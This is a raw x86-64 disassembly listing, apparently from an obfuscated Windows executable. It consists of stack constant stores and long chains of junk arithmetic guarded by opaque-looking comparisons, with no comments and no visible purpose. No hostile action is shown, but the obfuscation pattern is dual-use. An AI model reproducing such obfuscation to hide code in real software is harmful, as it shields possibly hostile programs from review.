mov dword [rsp + 0x2000], 0xfe45d926
mov dword [rsp + 0x2004], 0xbf3088b8
mov dword [rsp + 0x2008], 0x2081e0c5
movabs rax, 0x7e48541a4c48f2e
mov qword [rsp + 0x3df8], rax
mov eax, 0x26c
mov word [rsp + 0x848], ax
mov eax, 0x79f
mov word [rsp + 0x84c], ax
movabs rax, 0x1894d9521841ab6f
mov qword [rsp + 0x3e00], rax
mov byte [rsp + 0xcb], 3
mov eax, 0x7090
mov word [rsp + 0x850], ax
movabs rax, 0x6e38a8df6e2d888f
mov qword [rsp + 0x3e08], rax
mov eax, 0x13b4
mov word [rsp + 0x854], ax
movabs rax, 0x463fe82bd36e5680
mov qword [rsp + 0x3e10], rax
mov dword [rsp + 0x200c], 0x6b5b985b
mov eax, 0xcb6
mov word [rsp + 0x858], ax
mov eax, 0x3bc2
mov word [rsp + 0x85c], ax
mov eax, 0x13f
mov word [rsp + 0x860], ax
mov byte [rsp + 0xcc], 0x6d
mov eax, 0x6ed3
mov word [rsp + 0x864], ax
movabs rax, 0xdccd5c756f982208
mov qword [rsp + 0x3e18], rax
mov dword [rsp + 0x2010], 0x71fb84c0
mov dword [rsp + 0x2014], 0xc325fc09
mov dword [rsp + 0x2018], 0x60c732e7
mov dword [rsp + 0x201c], 0x1c7004e6
mov byte [rsp + 0xcd], 0x32
mov dword [rsp + 0x2020], 0x7aa453ac
mov eax, 0x717
mov word [rsp + 0x868], ax
mov dword [rsp + 0x2024], 0x2316ca3b
mov dword [rsp + 0x2028], 0x39e33f9e
movabs rax, 0x7eb3ab08092c00a5
mov qword [rsp + 0x3e20], rax
mov eax, 0xce2
mov word [rsp + 0x86c], ax
mov byte [rsp + 0xce], 0xb3
movabs rax, 0x67857556d6798153
mov qword [rsp + 0x3e28], rax
mov eax, 0x5dea
mov word [rsp + 0x870], ax
mov eax, 0x2e6
mov word [rsp + 0x874], ax
mov byte [rsp + 0xcf], 0x78
mov dword [rsp + 0x202c], 0x8a17aa20
mov byte [rsp + 0xd0], 0xed
mov eax, 0xea5
mov word [rsp + 0x878], ax
mov byte [rsp + 0xd1], 0xb8
mov eax, 0x592
mov word [rsp + 0x87c], ax
movabs rax, 0x9fe5bca76d36d89c
mov qword [rsp + 0x3e30], rax
movabs rax, 0x29543f5682dec494
mov qword [rsp + 0x3e38], rax
mov byte [rsp + 0xd2], 0x11
mov byte [rsp + 0xd3], 0xd0
mov byte [rsp + 0xd4], 0xe
mov eax, 0x2d6e
mov word [rsp + 0x880], ax
mov dword [rsp + 0x2030], 0x3ff49b7
mov eax, 0x58d
mov word [rsp + 0x884], ax
movabs rax, 0x4fe395bc50549671
mov qword [rsp + 0x3e40], rax
mov dword [rsp + 0x2034], 0x5bfd0d61
mov byte [rsp + 0xd5], 0x61
mov dword [rsp + 0x2038], 0x502f1e8f
movabs rax, 0xc3ddbcc043f08ae
mov qword [rsp + 0x3e48], rax
mov byte [rsp + 0xd6], 0x67
mov eax, 0x3781
mov word [rsp + 0x888], ax
movabs rax, 0xaa1505533621a3a4
mov qword [rsp + 0x3e50], rax
mov byte [rsp + 0xd7], 0x48
mov eax, 0x2531
mov word [rsp + 0x88c], ax
mov dword [rsp + 0x203c], 0x21717eb
mov byte [rsp + 0xd8], 0xc
mov byte [rsp + 0xd9], 0x47
mov byte [rsp + 0xda], 0xe8
mov dword [rsp + 0x2040], 0x4262f5f
movabs rax, 0xa797407072e9c75
mov qword [rsp + 0x3e58], rax
movabs rax, 0x49cc14c7f81798c9
mov qword [rsp + 0x3e60], rax
mov dword [rsp + 0x2044], 0x8d3b603a
movabs rax, 0x10b84409bdf428df
mov qword [rsp + 0x3e68], rax
movabs rax, 0x65dfe1069d98484c
mov qword [rsp + 0x3e70], rax
mov byte [rsp + 0xdb], 0x96
movabs rax, 0xf16d59485b7cc222
mov qword [rsp + 0x3e78], rax
mov eax, 0x7ac3
mov word [rsp + 0x890], ax
mov eax, 0x171
mov word [rsp + 0x894], ax
mov byte [rsp + 0xdc], 0x47
movabs rax, 0xe66337467e5a7398
mov qword [rsp + 0x3e80], rax
mov byte [rsp + 0xdd], 8
mov eax, 0x6363
mov word [rsp + 0x898], ax
mov eax, 0x892
mov word [rsp + 0x89c], ax
movabs rax, 0x3bb0f4e6f5227f04
mov qword [rsp + 0x3e88], rax
mov dword [rsp + 0x2048], 0xfa3b65c
mov byte [rsp + 0xde], 0x63
mov eax, 0xe92
mov word [rsp + 0x8a0], ax
mov byte [rsp + 0xdf], 0x73
movabs rax, 0x6227626df409df27
mov qword [rsp + 0x3e90], rax
movabs rax, 0x4f325e40871f2bcb
mov qword [rsp + 0x3e98], rax
mov dword [rsp + 0x204c], 0x2425574c
movabs rax, 0x19da92071950a9b4
mov qword [rsp + 0x3ea0], rax
mov byte [rsp + 0xe0], 0x51
mov byte [rsp + 0xe1], 0x13
movabs rax, 0x3532259a2d57377a
mov qword [rsp + 0x3ea8], rax
mov byte [rsp + 0xe2], 0x2a
mov dword [rsp + 0x2050], 0x260c1295
movabs rax, 0x6cc34cff788c0670
mov qword [rsp + 0x3eb0], rax
mov byte [rsp + 0xe3], 0x72
mov eax, 0x74a0
mov word [rsp + 0x8a4], ax
mov eax, 0x25e4
mov word [rsp + 0x8a8], ax
mov byte [rsp + 0xe4], 0x60
movabs rax, 0x2762f1f1363701b6
mov qword [rsp + 0x3eb8], rax
mov dword [rsp + 0x2054], 0x5a4b09e
mov eax, 0x7558
mov word [rsp + 0x8ac], ax
mov dword [rsp + 0x2058], 0x53910ac1
mov byte [rsp + 0xe5], 0x32
mov byte [rsp + 0xe6], 0x4b
mov eax, 0x7c
mov word [rsp + 0x8b0], ax
mov dword [rsp + 0x205c], 0xf8c38bad
movabs rax, 0x9ac4042d0b343e4
mov qword [rsp + 0x3ec0], rax
mov byte [rsp + 0xe7], 0xfc
mov eax, 0x7674
mov word [rsp + 0x8b4], ax
mov byte [rsp + 0xe8], 0x4b
mov byte [rsp + 0xe9], 0
mov byte [rsp + 0xea], 0x74
mov byte [rsp + 0xeb], 0xa
mov dword [rsp + 0x2060], 0x2aac6bea
movabs rax, 0x68f796f45df8de41
mov qword [rsp + 0x3ec8], rax
mov byte [rsp + 0xec], 0x19
mov byte [rsp + 0xed], 0x7d
mov byte [rsp + 0xee], 0x70
mov eax, 0x17ac
mov word [rsp + 0x8b8], ax
movabs rax, 0x9640ddc8db90bac7
mov qword [rsp + 0x3ed0], rax
mov eax, 0xbfb
mov word [rsp + 0x8bc], ax
movabs rax, 0xca5910076919aae5
mov qword [rsp + 0x3ed8], rax
mov byte [rsp + 0xef], 0x50
movabs rax, 0x441ce73b8664c634
mov qword [rsp + 0x3ee0], rax
mov byte [rsp + 0xf0], 0x39
movabs rax, 0x4e5bb28492f83e7
mov qword [rsp + 0x3ee8], rax
movabs rax, 0xc1fe2ab836f8370f
mov qword [rsp + 0x3ef0], rax
mov dword [rsp + 0x2064], 0x9d91c602
mov byte [rsp + 0xf1], 0x15
mov dword [rsp + 0x2068], 0xa2642b67
mov dword [rsp + 0x206c], 0x7137cb31
mov byte [rsp + 0xf2], 0x5b
mov eax, 0xaa7
mov word [rsp + 0x8c0], ax
mov byte [rsp + 0xf3], 0x3e
mov eax, 0x469d
mov word [rsp + 0x8c4], ax
mov byte [rsp + 0xf4], 0x39
mov eax, 0xe0c
mov word [rsp + 0x8c8], ax
mov eax, 0x374
mov word [rsp + 0x8cc], ax
mov byte [rsp + 0xf5], 7
mov byte [rsp + 0xf6], 0x87
movabs rax, 0xf769af7edd23ea3
mov qword [rsp + 0x3ef8], rax
mov eax, 0x5dc6
mov word [rsp + 0x8d0], ax
mov dword [rsp + 0x2070], 0x164b8ce2
movabs rax, 0x7e2797b9c5e37222
mov qword [rsp + 0x3f00], rax
movabs rax, 0x374a341729b26077
mov qword [rsp + 0x3f08], rax
mov eax, 0x5f1f
mov word [rsp + 0x8d4], ax
mov dword [rsp + 0x2074], 0x808be67
movabs rax, 0x1d140ad4666f3720
mov qword [rsp + 0x3f10], rax
mov dword [rsp + 0x2078], 0x363fb98d
mov byte [rsp + 0xf7], 0x26
mov eax, 0x2bcf
mov word [rsp + 0x8d8], ax
movabs rax, 0x114de92a4019f5c3
mov qword [rsp + 0x3f18], rax
movabs rax, 0xfd7646fdc3159c3c
mov qword [rsp + 0x3f20], rax
mov eax, 0xf0a
mov word [rsp + 0x8dc], ax
mov eax, 0x8b9
mov word [rsp + 0x8e0], ax
mov eax, 0x6e8
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0xf8], 0xf3
movabs rax, 0x5e847d77d133da0e
mov qword [rsp + 0x3f28], rax
mov dword [rsp + 0x207c], 0x1cf0ce5a
movabs rax, 0x437618e486bb0bfd
mov qword [rsp + 0x3f30], rax
mov dword [rsp + 0x2080], 0x6bb83f0b
mov eax, 0x6a4
mov word [rsp + 0x8e8], ax
mov dword [rsp + 0x2084], 0x75b98b40
mov dword [rsp + 0x2088], 0x790d
mov dword [rsp + 0x208c], 0x2884
mov dword [rsp + 0x2090], 0xf453
mov dword [rsp + 0x2094], 0xad40
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x2098], eax
cmp dword [rsp + 0x2098], 0xa7cbe678
je 0x140054cfe
jmp 0x140054d1a
mov r9d, 0x9d
mov r8w, 0x7f
mov dl, 0xe6
mov cx, 0x7c
call fcn.140154120
nop
jmp 0x140153397
cmp dword [rsp + 0x2090], 0xdf5b
jbe 0x140055083
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shl eax, cl
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2090]
sub eax, 0x58
mov dword [rsp + 0x2090], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shl eax, cl
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov dword [rsp + 0x20a0], eax
jmp 0x140054d1a
cmp dword [rsp + 0x2088], 0x7411
jbe 0x14005531d
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2088]
sub eax, 0x3a
mov dword [rsp + 0x2088], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shl eax, cl
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
jmp 0x140055083
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x3f38], rax
mov dword [rsp + 0x20a4], 0xc1ca
mov dword [rsp + 0x20a8], 0x80bb
mov dword [rsp + 0x20ac], 0x3128
mov dword [rsp + 0x20b0], 0xc453
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a8]
add eax, 0x74
mov dword [rsp + 0x20a8], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
cmp dword [rsp + 0x20a8], 0x9f17
jbe 0x140055359
cmp dword [rsp + 0x20b0], 0x10023
ja 0x140055a63
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20b0]
add eax, 0xae
mov dword [rsp + 0x20b0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3f68]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
jmp 0x140055621
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
sub eax, ecx
